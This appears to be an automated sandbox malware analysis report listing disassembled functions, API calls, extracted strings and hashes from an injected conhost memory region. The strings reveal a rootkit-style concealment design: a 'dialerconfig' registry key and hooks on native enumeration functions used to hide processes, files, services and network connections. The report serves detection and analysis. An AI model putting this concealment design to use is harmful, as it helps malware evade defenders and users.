Instruction Fuzzy Hash: 7551F53370069189FB24DB72A8417DA7BA1F7847E4F148A27EE5C67B9DDA38C001CB40

Function 000001DCB14EF830 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001DCB14EF834

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 3a74cfd470538558c8c26451ce8f33b7d3d65cb1e3ef09f26fba14c55d1f06f1
Instruction ID: fdb7b7a556afe5f4f845a9dbe1bdbbd41e74bac74062986e1d3bd1e1cca22565
Opcode Fuzzy Hash: 3a74cfd470538558c8c26451ce8f33b7d3d65cb1e3ef09f26fba14c55d1f06f1
Instruction Fuzzy Hash: 54B09238A03B0AC6EA0A2B526D8734422A8BB88741F98852B800D41320DA2C46A98B80

Function 000001DCAFC236F0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2915198787.000001DCAFC10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001DCAFC10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcafc10000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06df2142d5dd0183fd0e01b7d5608ecb5bc0210788fa76ce78b9fbce82fbb0aa
Instruction ID: a67fef582f30a1243d7eb7cd38c3919feacd2944b9feadd57717c30d1f1f1197
Opcode Fuzzy Hash: 06df2142d5dd0183fd0e01b7d5608ecb5bc0210788fa76ce78b9fbce82fbb0aa
Instruction Fuzzy Hash: F8F0687271425A8EDFA88F29A50279977D1F3083C4FD0851BE69983B44E27C8051CF44

Function 000001DCB14E1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001DCB14E1633
HeapAlloc.KERNEL32 ref: 000001DCB14E1642

Part of subcall function 000001DCB14E1268: GetProcessHeap.KERNEL32 ref: 000001DCB14E126E
Part of subcall function 000001DCB14E1268: HeapAlloc.KERNEL32 ref: 000001DCB14E127D
Part of subcall function 000001DCB14E1268: GetProcessHeap.KERNEL32 ref: 000001DCB14E1297
Part of subcall function 000001DCB14E1268: HeapAlloc.KERNEL32 ref: 000001DCB14E12A8

RegOpenKeyExW.ADVAPI32 ref: 000001DCB14E16B2
RegOpenKeyExW.ADVAPI32 ref: 000001DCB14E16DF
RegCloseKey.ADVAPI32 ref: 000001DCB14E16F9
RegOpenKeyExW.ADVAPI32 ref: 000001DCB14E1719
RegCloseKey.ADVAPI32 ref: 000001DCB14E1734
RegOpenKeyExW.ADVAPI32 ref: 000001DCB14E1754
RegCloseKey.ADVAPI32 ref: 000001DCB14E176F
RegOpenKeyExW.ADVAPI32 ref: 000001DCB14E178F
RegCloseKey.ADVAPI32 ref: 000001DCB14E17AA
RegOpenKeyExW.ADVAPI32 ref: 000001DCB14E17CA
RegCloseKey.ADVAPI32 ref: 000001DCB14E17E5
RegOpenKeyExW.ADVAPI32 ref: 000001DCB14E1805
RegCloseKey.ADVAPI32 ref: 000001DCB14E1820
RegOpenKeyExW.ADVAPI32 ref: 000001DCB14E1840
RegCloseKey.ADVAPI32 ref: 000001DCB14E185B
RegOpenKeyExW.ADVAPI32 ref: 000001DCB14E187B
RegCloseKey.ADVAPI32 ref: 000001DCB14E1896
RegCloseKey.ADVAPI32 ref: 000001DCB14E18A0

Part of subcall function 000001DCB14E12BC: RegQueryInfoKeyW.ADVAPI32 ref: 000001DCB14E1319
Part of subcall function 000001DCB14E12BC: GetProcessHeap.KERNEL32 ref: 000001DCB14E1327
Part of subcall function 000001DCB14E12BC: HeapAlloc.KERNEL32 ref: 000001DCB14E1338
Part of subcall function 000001DCB14E12BC: RegEnumValueW.ADVAPI32 ref: 000001DCB14E1397
Part of subcall function 000001DCB14E12BC: GetProcessHeap.KERNEL32 ref: 000001DCB14E13DF
Part of subcall function 000001DCB14E12BC: HeapAlloc.KERNEL32 ref: 000001DCB14E13ED
Part of subcall function 000001DCB14E12BC: GetProcessHeap.KERNEL32 ref: 000001DCB14E140A
Part of subcall function 000001DCB14E12BC: HeapFree.KERNEL32 ref: 000001DCB14E1418
Part of subcall function 000001DCB14E12BC: lstrlenW.KERNEL32 ref: 000001DCB14E1421
Part of subcall function 000001DCB14E12BC: GetProcessHeap.KERNEL32 ref: 000001DCB14E142F
Part of subcall function 000001DCB14E12BC: HeapAlloc.KERNEL32 ref: 000001DCB14E143D

Strings

service_names, xrefs: 000001DCB14E17C3
paths, xrefs: 000001DCB14E1788
udp, xrefs: 000001DCB14E1874
startup, xrefs: 000001DCB14E16D5
process_names, xrefs: 000001DCB14E174D
tcp_local, xrefs: 000001DCB14E17FE
SOFTWARE\dialerconfig, xrefs: 000001DCB14E1692
tcp_remote, xrefs: 000001DCB14E1839
pid, xrefs: 000001DCB14E1712

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 7fd1f2b9199b2627b91c7f89cf310ebad0c506218667db9161078a1e1447a4cd
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: B2711776710A528AEB119F61E882A9923B4FBC5FCCF405A13DA4E93B6DDE34C444CB80

Function 000001DCB14E12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001DCB14E1319
GetProcessHeap.KERNEL32 ref: 000001DCB14E1327
HeapAlloc.KERNEL32 ref: 000001DCB14E1338
RegEnumValueW.ADVAPI32 ref: 000001DCB14E1397

Part of subcall function 000001DCB14E152C: StrCmpIW.SHLWAPI ref: 000001DCB14E155D

GetProcessHeap.KERNEL32 ref: 000001DCB14E13DF
HeapAlloc.KERNEL32 ref: 000001DCB14E13ED
GetProcessHeap.KERNEL32 ref: 000001DCB14E140A
HeapFree.KERNEL32 ref: 000001DCB14E1418
lstrlenW.KERNEL32 ref: 000001DCB14E1421
GetProcessHeap.KERNEL32 ref: 000001DCB14E142F
HeapAlloc.KERNEL32 ref: 000001DCB14E143D
StrCpyW.SHLWAPI ref: 000001DCB14E145F
GetProcessHeap.KERNEL32 ref: 000001DCB14E1476
HeapFree.KERNEL32 ref: 000001DCB14E1484

Strings

d, xrefs: 000001DCB14E135A

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 95b6ebe0749b10af2dbb7b5fd8c1f952c7df3020f54f114eaf855ba7c43b4958
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 99514776200B8586EB55CF62E54939AB7A1F7C9FC9F048626DA4A0776CDF3CC449CB80

Function 000001DCB14E1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000001DCB14E1D1F

Part of subcall function 000001DCB14E1FD4: GetModuleHandleA.KERNEL32 ref: 000001DCB14E1FEC
Part of subcall function 000001DCB14E1FD4: GetProcAddress.KERNEL32 ref: 000001DCB14E1FFD

Part of subcall function 000001DCB14E5B30: GetCurrentThreadId.KERNEL32 ref: 000001DCB14E5B6B

Strings

NtQueryDirectoryFileEx, xrefs: 000001DCB14E1D9C
NtEnumerateKey, xrefs: 000001DCB14E1DB9
EnumServiceGroupW, xrefs: 000001DCB14E1DF0
ntdll.dll, xrefs: 000001DCB14E1D2D
NtQueryDirectoryFile, xrefs: 000001DCB14E1D7F
NtQuerySystemInformation, xrefs: 000001DCB14E1D45
sechost.dll, xrefs: 000001DCB14E1E39
advapi32.dll, xrefs: 000001DCB14E1DF7, 000001DCB14E1E18
NtResumeThread, xrefs: 000001DCB14E1D62
NtDeviceIoControlFile, xrefs: 000001DCB14E1E56
EnumServicesStatusExW, xrefs: 000001DCB14E1E11, 000001DCB14E1E32
NtEnumerateValueKey, xrefs: 000001DCB14E1DD6

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 22d319d3d01eeefe0df84bbe573a3ded8b84fea0340fb38726a757e16dae8e2c
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: D231917610098BA0EE0AEFA5E8677E42324F7D57C4F809E13D40E4226E9E78C24DDBD1

Function 000001DCAFC16910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001DCAFC16938
__scrt_acquire_startup_lock.LIBCMT ref: 000001DCAFC1698A
_RTC_Initialize.LIBCMT ref: 000001DCAFC169B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001DCAFC169DE
__scrt_release_startup_lock.LIBCMT ref: 000001DCAFC16A09

Strings

`dynamic initializer for ', xrefs: 000001DCAFC169C7
`eh vector copy constructor iterator', xrefs: 000001DCAFC16A3B
scriptor', xrefs: 000001DCAFC16B39, 000001DCAFC16BB2, 000001DCAFC16BEC
`eh vector vbase copy constructor iterator', xrefs: 000001DCAFC169EE

Memory Dump Source

Source File: 00000010.00000002.2915198787.000001DCAFC10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001DCAFC10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcafc10000_conhost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 2c63e2b343774ad3a528a038cbf48f4e5551476b91f2fe6909fa88b6cd80bba5
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 9381AF3360024F86FE70AB2794413D96290EB85B8CF568D17BB45477D6FB38C866E788

Function 000001DCB14ECE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 000001DCB14ECE37
FlsGetValue.KERNEL32(?,?,?,000001DCB14F0A6B,?,?,?,000001DCB14F045C,?,?,?,000001DCB14EC84F), ref: 000001DCB14ECE4C
FlsSetValue.KERNEL32(?,?,?,000001DCB14F0A6B,?,?,?,000001DCB14F045C,?,?,?,000001DCB14EC84F), ref: 000001DCB14ECE6D
FlsSetValue.KERNEL32(?,?,?,000001DCB14F0A6B,?,?,?,000001DCB14F045C,?,?,?,000001DCB14EC84F), ref: 000001DCB14ECE9A
FlsSetValue.KERNEL32(?,?,?,000001DCB14F0A6B,?,?,?,000001DCB14F045C,?,?,?,000001DCB14EC84F), ref: 000001DCB14ECEAB
FlsSetValue.KERNEL32(?,?,?,000001DCB14F0A6B,?,?,?,000001DCB14F045C,?,?,?,000001DCB14EC84F), ref: 000001DCB14ECEBC
SetLastError.KERNEL32 ref: 000001DCB14ECED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000001DCB14F0A6B,?,?,?,000001DCB14F045C,?,?,?,000001DCB14EC84F), ref: 000001DCB14ECF0D
FlsSetValue.KERNEL32(?,?,00000001,000001DCB14EECCC,?,?,?,?,000001DCB14EBF9F,?,?,?,?,?,000001DCB14E7AB0), ref: 000001DCB14ECF2C

Part of subcall function 000001DCB14ED6CC: HeapAlloc.KERNEL32 ref: 000001DCB14ED721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001DCB14F0A6B,?,?,?,000001DCB14F045C,?,?,?,000001DCB14EC84F), ref: 000001DCB14ECF54

Part of subcall function 000001DCB14ED744: HeapFree.KERNEL32 ref: 000001DCB14ED75A
Part of subcall function 000001DCB14ED744: GetLastError.KERNEL32 ref: 000001DCB14ED764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001DCB14F0A6B,?,?,?,000001DCB14F045C,?,?,?,000001DCB14EC84F), ref: 000001DCB14ECF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001DCB14F0A6B,?,?,?,000001DCB14F045C,?,?,?,000001DCB14EC84F), ref: 000001DCB14ECF76

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: 8472098aecf7446318d95559cce1bbf97e3c754e495a61f4a1512eb5b1765314
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 2841613234124746FA6CA77555673FA22425BD47F4F14CF27A83A466EEDE28C841CEC1

Function 000001DCB14E2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001DCB14E2259
GetCurrentProcessId.KERNEL32 ref: 000001DCB14E2263

Part of subcall function 000001DCB14E1934: OpenProcess.KERNEL32 ref: 000001DCB14E1952
Part of subcall function 000001DCB14E1934: IsWow64Process.KERNEL32 ref: 000001DCB14E1968
Part of subcall function 000001DCB14E1934: CloseHandle.KERNEL32 ref: 000001DCB14E1983

CreateFileW.KERNEL32 ref: 000001DCB14E22BC
WriteFile.KERNEL32 ref: 000001DCB14E22E4
ReadFile.KERNEL32 ref: 000001DCB14E2303
CloseHandle.KERNEL32 ref: 000001DCB14E230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 000001DCB14E228C
\\.\pipe\dialerchildproc32, xrefs: 000001DCB14E2293

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: c7a76ba4b916e0e6af30ab75d366d6868590697ec1052ee24e116cb029115e3b
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: C8213872614A4286EB24CB25E4497AA67A0F7C9BE4F504717EA5E02BACCF3CC149CF40

Function 000001DCAFC19944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001DCAFC199A1

Part of subcall function 000001DCAFC1A814: __GetUnwindTryBlock.LIBCMT ref: 000001DCAFC1A857
Part of subcall function 000001DCAFC1A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001DCAFC1A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001DCAFC19A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001DCAFC19CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001DCAFC19DDA

Strings

csm, xrefs: 000001DCAFC199BB
csm, xrefs: 000001DCAFC19A22
csm, xrefs: 000001DCAFC19A9C

Memory Dump Source

Source File: 00000010.00000002.2915198787.000001DCAFC10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001DCAFC10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcafc10000_conhost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: d569f88fc8552f40569cbeb25852737fc883cf8385d57af584686ff550b99f64
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: EDE19B33604B4A8AEF709B26D4803DD77A0F745B8CF110A16EE8957BD9EB38C1A1C784

Function 000001DCB14EA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001DCB14EA5A1

Part of subcall function 000001DCB14EB414: __GetUnwindTryBlock.LIBCMT ref: 000001DCB14EB457
Part of subcall function 000001DCB14EB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001DCB14EB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001DCB14EA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001DCB14EA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001DCB14EA9DA

Strings

csm, xrefs: 000001DCB14EA622
csm, xrefs: 000001DCB14EA69C
csm, xrefs: 000001DCB14EA5BB

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: 6ecf1a183cf1d1d4fec6df5e12389d50badd219e6cbb280593295e9d49b1cac5
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: A8E16A736007428AEB28DB65D4823ED77A0F7957D8F208A17EA8957B9DCB34C495CB80

Function 000001DCB14EF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 000001DCB14EF510
GetProcAddress.KERNEL32 ref: 000001DCB14EF51C

Strings

ext-ms-, xrefs: 000001DCB14EF46D
api-ms-, xrefs: 000001DCB14EF45A

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: fa538d2221599b028fad7d63d81caad2134e880067337332accdb60296f321d1
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 7341E233311A0291EA1ACB66A8067D52395F7D8BE0F088B379D0E8778DEE3CC445CB80

Function 000001DCB14E104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001DCB14E10B1
RegEnumValueW.ADVAPI32 ref: 000001DCB14E1117
GetProcessHeap.KERNEL32 ref: 000001DCB14E115A
HeapAlloc.KERNEL32 ref: 000001DCB14E1168
GetProcessHeap.KERNEL32 ref: 000001DCB14E1185
HeapFree.KERNEL32 ref: 000001DCB14E1193

Strings

d, xrefs: 000001DCB14E10D6

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 6b4d686118abf198f5e775a7a98892e9e618a4a08ab2d5ebfd87a68ce17c5090
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: C5415E73214B85CAEB64CF21E44579EB7A1F389BD8F44862ADA8907B5CDF38C549CB40

Function 000001DCB14ED068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FlsGetValue.KERNEL32(?,?,?,000001DCB14EC7DE,?,?,?,?,?,?,?,?,000001DCB14ECF9D,?,?,00000001), ref: 000001DCB14ED087
FlsSetValue.KERNEL32(?,?,?,000001DCB14EC7DE,?,?,?,?,?,?,?,?,000001DCB14ECF9D,?,?,00000001), ref: 000001DCB14ED0A6
FlsSetValue.KERNEL32(?,?,?,000001DCB14EC7DE,?,?,?,?,?,?,?,?,000001DCB14ECF9D,?,?,00000001), ref: 000001DCB14ED0CE
FlsSetValue.KERNEL32(?,?,?,000001DCB14EC7DE,?,?,?,?,?,?,?,?,000001DCB14ECF9D,?,?,00000001), ref: 000001DCB14ED0DF
FlsSetValue.KERNEL32(?,?,?,000001DCB14EC7DE,?,?,?,?,?,?,?,?,000001DCB14ECF9D,?,?,00000001), ref: 000001DCB14ED0F0

Strings

Y%, xrefs: 000001DCB14ED0A6
1%, xrefs: 000001DCB14ED0CE

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 9993e0b12fb643eb156e0693487c34cd396c8ec0da258143c0739b505cc70314
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: 6B11867270428646FA6C973655573E961455BC47F4F18CF27A83E877DEDE28C442CE80

Function 000001DCB14E7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001DCB14E7538
__scrt_acquire_startup_lock.LIBCMT ref: 000001DCB14E758A
_RTC_Initialize.LIBCMT ref: 000001DCB14E75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001DCB14E75DE
__scrt_release_startup_lock.LIBCMT ref: 000001DCB14E7609

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 4bcb022f3e1e0b8fed5926caf64c3759d7ec3b97404da27ef6f8fbff42a8db79
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 5D81A3336006438AFA59AB65A4433D92790A7C57E6F14CF179A094779EDB78C845CFC0

Function 000001DCB14E9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000001DCB14E9E49
GetLastError.KERNEL32 ref: 000001DCB14E9E57
LoadLibraryExW.KERNEL32 ref: 000001DCB14E9E81
FreeLibrary.KERNEL32 ref: 000001DCB14E9EC7
GetProcAddress.KERNEL32 ref: 000001DCB14E9ED3

Strings

api-ms-, xrefs: 000001DCB14E9E69

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: aca8e36943cad6765f1b3d5607982427ce8338ffe7ee767c7bfa47f014531a75
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: B331703221264291EE2ADB4AE4027E53394B788BF0F598F279E6D077DCDF39C545CA80

Function 000001DCB14F3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001DCB14F3DE5
GetLastError.KERNEL32 ref: 000001DCB14F3DF1
CloseHandle.KERNEL32 ref: 000001DCB14F3E09
CreateFileW.KERNEL32 ref: 000001DCB14F3E34
WriteConsoleW.KERNEL32 ref: 000001DCB14F3E53

Strings

CONOUT$, xrefs: 000001DCB14F3E15

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: cf8492b62be6158d982ad87687270f5ce1e507046737f55c4dc9dfa502002c8c
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 66115B31210A4286EB518B52E84639977A4F7C8FE4F144727EA5E87798CB38C914CB84

Function 000001DCB14E3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001DCB14E379E
GetCurrentProcess.KERNEL32 ref: 000001DCB14E37CC
VirtualProtectEx.KERNEL32 ref: 000001DCB14E37EE
GetCurrentProcess.KERNEL32 ref: 000001DCB14E3809
VirtualProtectEx.KERNEL32 ref: 000001DCB14E382A

Strings

wr, xrefs: 000001DCB14E37FF

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
